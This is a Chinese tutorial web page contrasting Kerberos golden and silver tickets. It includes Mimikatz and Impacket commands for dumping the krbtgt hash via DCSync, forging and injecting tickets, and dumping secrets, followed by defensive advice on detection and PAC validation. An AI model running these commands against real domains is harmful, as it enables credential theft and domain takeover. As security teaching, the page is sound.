热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

goldenticket和sliverticket的区别是什么?

讲在前面:笔者本文对Kerberos协议不会进行详细分析,站在读者已有Kerberos协议简单的基础上结合互联网已有的文章,对上述两个漏洞产生的原理、利用方式、防御方式进行介绍。区


讲在前面:

笔者本文对Kerberos协议不会进行详细分析,站在读者已有Kerberos协议简单的基础上结合互联网已有的文章,对上述两个漏洞产生的原理、利用方式、防御方式进行介绍。


区别之处:

笔者翻阅了国内外尽可能多的关于黄金票据和白银票据的文章,将其中对于两者的区别之处的解释经过笔者删改后呈现如下,也就是说如下的区别,的的确确是全面的关于两者的区别。


区别点

黄金票据

白银票据

访问权限

获取任何Kerberos服务权限

访问指定的服务

加密方式

由krbtgt的Hash加密

由服务账号(通常为计算机帐户)Hash加密

认证流程

需要经过域控

不需要经过域控

生成的票据

TGT票据

TGS票据


产生漏洞的原理:

笔者绘制了如下三张简单的示意图并配以短小精悍的文字来辅助读者再次理解Kerberos协议和黄金票据、白银票据的产生原理。


Kerberos协议流程

注意:安装域控制器时会默认将KDC服务装在域控制器上,所以一般情况下域控制器就是KDC服务器。


黄金票据产生原因

利用方式:通过某些漏洞(例如Zerologon、NTLM降级)获取到了Krbtgt帐户的相关信息(NTLM Hash、SID、Sha256 Hash等信息),而后使用krbgtgt账户创建黄金票据以作为权限维持,在没有修改krbtgt帐户密码的前提下,再次进入网络内依旧拥有会拥有管理员权限。访问任何使用Kerberbos进行认证的服务,因为缺少第一二步,但是后面的步骤还是通过KDC的验证了(所以此处我们也将区别之处的两点串起来了)。

原因:因为TGT票据是经过Krbtgt帐户的相关信息对指定帐户进行加密后得出的,所以拿到krbtgt帐户的相关信息后我们就可以自行制作TGT票据。

如下图所示,黄金票据的利用在整个Kerberos正常的认证过程中是缺少第一二个环节的(见下图左上角红框描述),其绕过了DC在创建TGT之前执行的常规验证。

注意:使用Krbtgt的NTML HASH创建的票据,加密方式为RC4(该加密方式为Kerberos中的加密降级,这也是检测的重点特征),该加密方式是可以修改的。


白银票据产生原因

利用方式:通过某些方式获取到了服务帐户或机器帐户的相关信息(NTLM Hash、SID、Sha256 Hash等信息),而后使用服务帐户或机器帐户创建白银票据以访问特定的服务,从而扩大成果。

原因:TGS票据是KDC根据得到TGT票据内的请求使用服务帐户(一般是机器帐户,这里提到的机器帐户或服务帐户均按实际情况分类,一般管理员图省事使用服务所在机器的帐户运行服务亦或者管理员会单独建立一个服务帐户,例如单独创建启动Exchange、Mssql服务的服务帐户)进行加密的票据,得到该票据后客户端就可以使用TGS票据向指定服务请求访问。如下图所示,白银票据的利用在整个Kerberos正常的认证过程中是缺少第一二三四个环节的(见下图左上角红框描述

注意:这里需要注意应用服务器和KDC服务器之间的交互(下图应用服务器和KDC服务器之间标红的两个箭头)

这里着重讲我们需要注意PAC这个知识点。掌握其知识点也是我们理解白银票据能够利用成功的关键。

1、大多数服务未设置验证PAC(验证流程:正常流程,服务解密TGS票据后向应KDC请求该PAC是否有权限访问),那么在不验证PAC的前提,我们就可以伪造一个TGS票据从而骗过特定应用服务器访问特定的服务。

小结:到此我们对于黄金票据和白银票据的漏洞产生的原因形成了一个相对清晰的概念和有了简单的理解,那么我们接下来需要做的工作就是在实际工作中其掌握利用方式和利用的经验。


部分工具利用

我们这里将两者利用的方式也举例对比下:

Mimikatz


  • 黄金票据

#使用mimikatz的dcsync功能获取krbtgt账户的hash及详细信息
lsadump::dcsync /domain:testdomain.com /user:krbtgt
#直接注入1:(SID去掉后面的RID)
利用kbrtgt的hash:
kerberos::golden /admin:Administrator /domain:testdomain.com /sid:S-1-5-21-3160116630-2225903390-3717321821 /rc4:493a8296a6e2c3463e2bac8bb2ba87df /ptt
#直接注入2(更换为aes256hash):
kerberos::golden /domain:testdomain.com /sid:S-1-5-21-3160116630-2225903390-3717321821 /aes256:6b8d2300af08cffbc9ebab7e1cb225ee4d54e709cf088a583ccb1aecf3fdac67 /user:Administrator /ptt
#生成票据文件,而后导入:
##生成文件:
mimikatz:kerberos::golden /domain:testdomain.com /sid: /aes256:6b8d2300af08cffbc9ebab7e1cb225ee4d54e709cf088a583ccb1aecf3fdac67 /user:Administrator /ticket:Administrator.kirbi
##导入票据:
kerberos::ptt Administrator.kirbi /use

获取krbtgt相关信息:

票据实验示例:

Klist再次查看机器上的票据:


  • 白银票据

**白银票据需要的参数:
/target –目标服务器的FQDN **FQDN:(Fully Qualified Domain Name)全限定域名:同时带有主机名和域名的名称。(通过符号“.”)
/service –运行在目标服务器上的kerberos服务,该服务主体名称类型如cifs,http,mssql等
/rc4 –服务的NTLM散列(计算机帐户或用户帐户)
kerberos::golden /domain:testdomain.com /user:qaz /sid:S-1-5-21-3160116630-2225903390-3717321821 /rc4:3dfcf47e9e4b72bebe1e42e71bf8a01c /target:WIN-6IKRAED2RMI.testdomain.com /service:cifs /ptt

获取相关信息:

成功访问指定服务器的指定Cifs服务:

成功访问指定服务器的指定ldap服务:

#注入ldap服务的白银票据
kerberos::golden /domain:testdomain.com /user:123 /sid:S-1-5-21-3160116630-2225903390-3717321821 /rc4:3dfcf47e9e4b72bebe1e42e71bf8a01c /target:WIN-6IKRAED2RMI.testdomain.com /service:LDAP /ptt
#利用ldap协议进行dcsync
lsadump::dcsync /dc:WIN-6IKRAED2RMI.testdomain.com /domain:testdomain.com /user:krbtgt

未注入前:

注入后:

利用建议:实际工作中,勿需将实际环境中的机器的票据清除,并且获取相关信息可以多种方式,勿需局限于mimikatz获取。

Impacket


  • 黄金票据

ticketer.py -nthash 493a8296a6e2c3463e2bac8bb2ba87df -domain-sid S-1-5-21-3160116630-2225903390-3717321821 -domain testdomain.com Administrator #生成票据
export KRB5CCNAME='/usr/share/doc/python-impacket/examples/Administrator.ccache' #将票据加入环境变量
secretsdump.py -k WIN-6IKRAED2RMI.testdomain.com -just-dc-ntlm -just-dc-user krbtgt #利用票据

添加临时环境变量,并进一步利用

未添加环境变量,则利用失败


  • 白银票据

ticketer.py -nthash [serviceuser hash or Machine account hash] -domain-sid [serviceuser sid or Machine account sid] -domain adsec.local -spn CIFS/DESKTOP-01.testdomain.com random_user #生成票据
export KRB5CCNAME='/path/to/random_user.ccache' #将票据加入环境变量
psexec.py -k DESKTOP-01.domain.com #利用票据

笔者尝试操作,但是利用失败。GitHub上发现有此问题的issue,但是其中并没有人提出有效的解决办法。


防御建议

我们经过前面的了解,基本知道了两种票据都是缺少了完整的Kerberos认证流程,同时我们注意到漏洞创造的票据加密方式不同,票据的用户不正确,票据的PAC数据不正确、票据的授权时间不正确。基于上述几点,我们再根据日志或流量进行分析编写规则来防御此类攻击。

日志上检测

部分文章指出我们可以通过4769、4768日志来对比,但是笔者认为考虑到日志实际处理起来相比流量的处理量大,不切实际,同时不符合数量级较多的域环境,单纯在日志上进行检测显得很渺茫。这里仅推荐文章供参考。

笔者这里举例ATA提到的关于异常的Kerberos票据会出现的几个问题


  • 可疑黄金票证使用(帐户不存在)
  • 可疑黄金票证使用(票证异常)

  • 可疑黄金票证使用(时间异常)
  • 可疑黄金票证使用(票证异常使用 RBCD)

  • 可疑黄金票证使用(伪造的授权数据)
  • 可疑黄金票证使用(加密降级)

参考文章:


  • Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory
  • A Golden SAML Journey: SolarWinds Continued

流量上检测

我们先来看正常登录后的Kerberos流量包,很显然,Kerberos认证流程的第一、二、三、四步都正常

我们来看黄金票据的认证流程,很明显缺少了认证流程的第一、二步。

我们来看白银票据的流程,没有经过KDC的认证,所以没有krb5的流量包。注意:(此处同开头讲到的区别之处的认证区别串联起来了)

我们获取了两种票据的流量数据后来进行分析,首先查看加密方式

我们查看流量包中tgs-req -> req-body -> enc-authorization-data -> etype字段。

etype: eTYPE-ARCFOUR-HMAC-MD5 (23)加密类型为:rc4-hmac (deprecated),而正常的加密类型应当为AES加密而不是RC4加密,正常的加密类型应当为:

eTYPE-AES256-CTS-HMAC-SHA1-96 (18)。所以这个区别可以作为我们的关键检测数据之一。


  • RC4加密类型的票据


  • AES加密的票据,我们查看数据包PA-DATA -> PA-TGS-REQ -> AP-REQ -> ticket -> enc-part -> etype字段。

最小权限原则

1、限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机

2.、禁用Krbtgt帐户,并保存当前的密码以及以前的密码

3、建议定期更改Krbtgt密码,Krbtgt帐户需要修改两次

4、一旦攻击者获得了Krbtgt帐号密码哈希的访问权限,就可以随意创建黄金票据

服务端开启PAC验证


ValidateKdcPacSignature DWORD

状态

0

关闭

1

开启

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters

注意:更改此值,则必须重新启动 Windows Server

笔者测试该注册表是否生效时发现无论是否启用 PAC 验证,笔者都能够针对目标系统利用Silver 和Golden票据。


  • MSDN-了解 Microsoft Kerberos PAC 验证

上述MSDN链接文章中对于PAC的解释有这么一段话,解释了PAC 验证什么时候起作用会有几个例外情况:

当服务没有 TCB 权限并且它不是服务控制管理器 (SCM) 服务时,Windows 操作系统将 PAC 验证消息发送到 DC 的 NetLogon 服务。当 LSA 客户端(应用服务器)不在本地系统、网络服务或本地服务的上下文中运行时,本地安全机构子系统服务 (LSASS) 进程将向 DC 发送 PAC 验证消息;或者它没有 SeTCB 特权(作为操作系统的一部分)


总结

透过本文,能够让部分读者基本明白这两款票据的区别之处,以及重温Kerberbos协议的流程,同时激发读者对于Kerberos深入研究的兴趣,本文提到了包括PAC在内的如此字眼,都需要读者继续深入研究Kerberbos协议的魅力之处从而融会贯通的将与Kerberos协议有关的所有漏洞贯穿起来理解,这样能够更好的明白漏洞的来龙去脉。

笔者推荐大家阅读以下文章:


  • Windows内网协议学习Kerberos篇之PAC
  • 内网渗透之kerberos协议分析


推荐阅读
  • Hibernate延迟加载深入分析-集合属性的延迟加载策略
    本文深入分析了Hibernate延迟加载的机制,特别是集合属性的延迟加载策略。通过延迟加载,可以降低系统的内存开销,提高Hibernate的运行性能。对于集合属性,推荐使用延迟加载策略,即在系统需要使用集合属性时才从数据库装载关联的数据,避免一次加载所有集合属性导致性能下降。 ... [详细]
  • 本文介绍了数据库的存储结构及其重要性,强调了关系数据库范例中将逻辑存储与物理存储分开的必要性。通过逻辑结构和物理结构的分离,可以实现对物理存储的重新组织和数据库的迁移,而应用程序不会察觉到任何更改。文章还展示了Oracle数据库的逻辑结构和物理结构,并介绍了表空间的概念和作用。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • 本文介绍了Java工具类库Hutool,该工具包封装了对文件、流、加密解密、转码、正则、线程、XML等JDK方法的封装,并提供了各种Util工具类。同时,还介绍了Hutool的组件,包括动态代理、布隆过滤、缓存、定时任务等功能。该工具包可以简化Java代码,提高开发效率。 ... [详细]
  • 模板引擎StringTemplate的使用方法和特点
    本文介绍了模板引擎StringTemplate的使用方法和特点,包括强制Model和View的分离、Lazy-Evaluation、Recursive enable等。同时,还介绍了StringTemplate语法中的属性和普通字符的使用方法,并提供了向模板填充属性的示例代码。 ... [详细]
  • uniapp开发H5解决跨域问题的两种代理方法
    本文介绍了uniapp开发H5解决跨域问题的两种代理方法,分别是在manifest.json文件和vue.config.js文件中设置代理。通过设置代理根域名和配置路径别名,可以实现H5页面的跨域访问。同时还介绍了如何开启内网穿透,让外网的人可以访问到本地调试的H5页面。 ... [详细]
  • Android实战——jsoup实现网络爬虫,糗事百科项目的起步
    本文介绍了Android实战中使用jsoup实现网络爬虫的方法,以糗事百科项目为例。对于初学者来说,数据源的缺乏是做项目的最大烦恼之一。本文讲述了如何使用网络爬虫获取数据,并以糗事百科作为练手项目。同时,提到了使用jsoup需要结合前端基础知识,以及如果学过JS的话可以更轻松地使用该框架。 ... [详细]
  • 本文详细介绍了Android中的坐标系以及与View相关的方法。首先介绍了Android坐标系和视图坐标系的概念,并通过图示进行了解释。接着提到了View的大小可以超过手机屏幕,并且只有在手机屏幕内才能看到。最后,作者表示将在后续文章中继续探讨与View相关的内容。 ... [详细]
  • 本文讨论了在使用Git进行版本控制时,如何提供类似CVS中自动增加版本号的功能。作者介绍了Git中的其他版本表示方式,如git describe命令,并提供了使用这些表示方式来确定文件更新情况的示例。此外,文章还介绍了启用$Id:$功能的方法,并讨论了一些开发者在使用Git时的需求和使用场景。 ... [详细]
  • 一、路由首先需要配置路由,就是点击good组件进入goodDetail组件配置路由如下{path:goodDetail,component:goodDetail}同时在good组件中写入如下点击事件,路由中加入 ... [详细]
  • android listview OnItemClickListener失效原因
    最近在做listview时发现OnItemClickListener失效的问题,经过查找发现是因为button的原因。不仅listitem中存在button会影响OnItemClickListener事件的失效,还会导致单击后listview每个item的背景改变,使得item中的所有有关焦点的事件都失效。本文给出了一个范例来说明这种情况,并提供了解决方法。 ... [详细]
  • Jquery 跨域问题
    为什么80%的码农都做不了架构师?JQuery1.2后getJSON方法支持跨域读取json数据,原理是利用一个叫做jsonp的概念。当然 ... [详细]
  • 本文总结了在编写JS代码时,不同浏览器间的兼容性差异,并提供了相应的解决方法。其中包括阻止默认事件的代码示例和猎取兄弟节点的函数。这些方法可以帮助开发者在不同浏览器上实现一致的功能。 ... [详细]
  • 本文整理了Java中org.gwtbootstrap3.client.ui.Icon.addDomHandler()方法的一些代码示例,展示了Icon.ad ... [详细]
  • 其实之前也有下载过完整的android源码,但是从来没有对这个做过一些总结,在加上最近需要经常去看,索性就在从新下载,编译一下,其实这些东西官网上面都有。http:sou ... [详细]
author-avatar
高高G0623
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有